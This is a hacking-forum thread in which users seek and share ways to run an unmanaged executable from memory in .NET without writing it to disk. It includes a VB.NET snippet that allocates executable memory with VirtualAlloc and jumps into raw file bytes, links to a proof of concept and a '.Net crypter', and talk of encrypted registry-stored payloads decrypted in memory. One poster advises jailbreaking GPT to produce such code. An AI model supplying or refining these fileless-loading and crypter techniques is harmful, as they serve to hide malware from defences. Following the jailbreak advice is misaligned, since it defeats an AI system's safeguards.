[OFFICIAL MANELE MUSIC]

Im wondering how could i load an unmanaged exe/native/c++ executable in .net without dropping it to disk, im hoping someone could help me with a code snippet.

[Dread.Reaper]

Im wondering how could i load an unmanaged exe/native/c++ executable in .net without dropping it to disk, im hoping someone could help me with a code snippet.

Well this explains your interest in my other thread. But why are you trying to use powershell in that thread and C# in this?

Also, protip. Jailbreak GPT to get it to do this for you.

[OFFICIAL MANELE MUSIC]

Well this explains your interest in my other thread. But why are you trying to use powershell in that thread and C# in this?

Also, protip. Jailbreak GPT to get it to do this for you.

Gpt always spits out useless, buggy code for me, well i couldnt do it in c# been trying for weeks but i cant do it since c# doesn’t really give u access to winapi, tried opening powershell and dumping a script in it to do it, thats why i was interested in your powershell script

[Dread.Reaper]

Gpt always spits out useless, buggy code for me, well i couldnt do it in c# been trying for weeks but i cant do it since c# doesn’t really give u access to winapi, tried opening powershell and dumping a script in it to do it, thats why i was interested in your powershell script

It really boils down to creativity and how you want to deliver.
Is it local, internet based, floppy disk distribution, pidgeon carrier, etc...
Regardless of delivery the most common method is to load or decode the base exes code straight to memory.
So for example an encrypted container on a usb, it would decrypt the exes code straight into the memory, or alternatively like in the powershell example download to a array in the memory.

[OFFICIAL MANELE MUSIC]

It really boils down to creativity and how you want to deliver.
Is it local, internet based, floppy disk distribution, pidgeon carrier, etc...
Regardless of delivery the most common method is to load or decode the base exes code straight to memory.
So for example an encrypted container on a usb, it would decrypt the exes code straight into the memory, or alternatively like in the powershell example download to a array in the memory.

In .net loading the bytes to a array in memory and then starting it only work with other .net exes, unmanaged exes wont work

[Dread.Reaper]

In .net loading the bytes to a array in memory and then starting it only work with other .net exes, unmanaged exes wont work

Perhaps note, I stated Powershell uses a Download array...

[NyQuil]

should watch some john hammond vids, he has vids in persistent c# malware ran by powershell, i mean with powershell you can literally encrypt a piece of code to run in regs, and it decrypts the c# payload in memory, powershell has all the libs to load a assembly

[xloader]

In .net loading the bytes to a array in memory and then starting it only work with other .net exes, unmanaged exes wont work

That isn't entirely accurate; the following serves as a basic proof of concept (POC), you might want to check it out.

unmanaged exe
https://www.sendspace.com/file/q12cmj

.Net crypter for it.
https://hackforums.net/showthread.php?tid=6220104

[OFFICIAL MANELE MUSIC]

That isn't entirely accurate; the following serves as a basic proof of concept (POC), you might want to check it out.

unmanaged exe
https://www.sendspace.com/file/q12cmj

.Net crypter for it.
https://hackforums.net/showthread.php?tid=6220104

i still get the same error even with your code, Fatal error. System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.

Im using .net 7, i am running with admin rights, and the xtest.exe file does exist

Code

Imports System.IO
Imports System.Runtime.InteropServices

Public Class Test
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Public Delegate Function ExecutePE() As Integer

    Public Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr,
                                                         ByVal flAllocationType As UIntPtr, ByVal flProtect As UIntPtr) As IntPtr


    Public Shared Sub Main()
        Dim fileData As Byte() = File.ReadAllBytes("C:\Users\admin\OneDrive\Desktop\xtest.exe")

        Dim payload As IntPtr = VirtualAlloc(0, fileData.Length, 12288, 64)

        Marshal.Copy(fileData, 0, payload, fileData.Length)

        DirectCast(Marshal.GetDelegateForFunctionPointer(payload, GetType(ExecutePE)), ExecutePE)()
    End Sub
End Class

---

That isn't entirely accurate; the following serves as a basic proof of concept (POC), you might want to check it out.

unmanaged exe
https://www.sendspace.com/file/q12cmj

.Net crypter for it.
https://hackforums.net/showthread.php?tid=6220104

XLoader is truly a legend, as he went above and beyond by accessing my AnyDesk to help me fix my error.

[xloader]

i still get the same error even with your code, Fatal error. System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.

Im using .net 7, i am running with admin rights, and the xtest.exe file does exist

Code

Imports System.IO
Imports System.Runtime.InteropServices

Public Class Test
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Public Delegate Function ExecutePE() As Integer

    Public Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr,
                                                         ByVal flAllocationType As UIntPtr, ByVal flProtect As UIntPtr) As IntPtr


    Public Shared Sub Main()
        Dim fileData As Byte() = File.ReadAllBytes("C:\Users\admin\OneDrive\Desktop\xtest.exe")

        Dim payload As IntPtr = VirtualAlloc(0, fileData.Length, 12288, 64)

        Marshal.Copy(fileData, 0, payload, fileData.Length)

        DirectCast(Marshal.GetDelegateForFunctionPointer(payload, GetType(ExecutePE)), ExecutePE)()
    End Sub
End Class

---

XLoader is truly a legend, as he went above and beyond by accessing my AnyDesk to help me fix my error.

As you can see that the code is working correctly, to identify the issue with your build, kindly compare the settings of my sample with yours.

[Dread.Reaper]

As you can see that the code is working correctly, to identify the issue with your build, kindly compare the settings of my sample with yours.

Nice to see people still help out around here.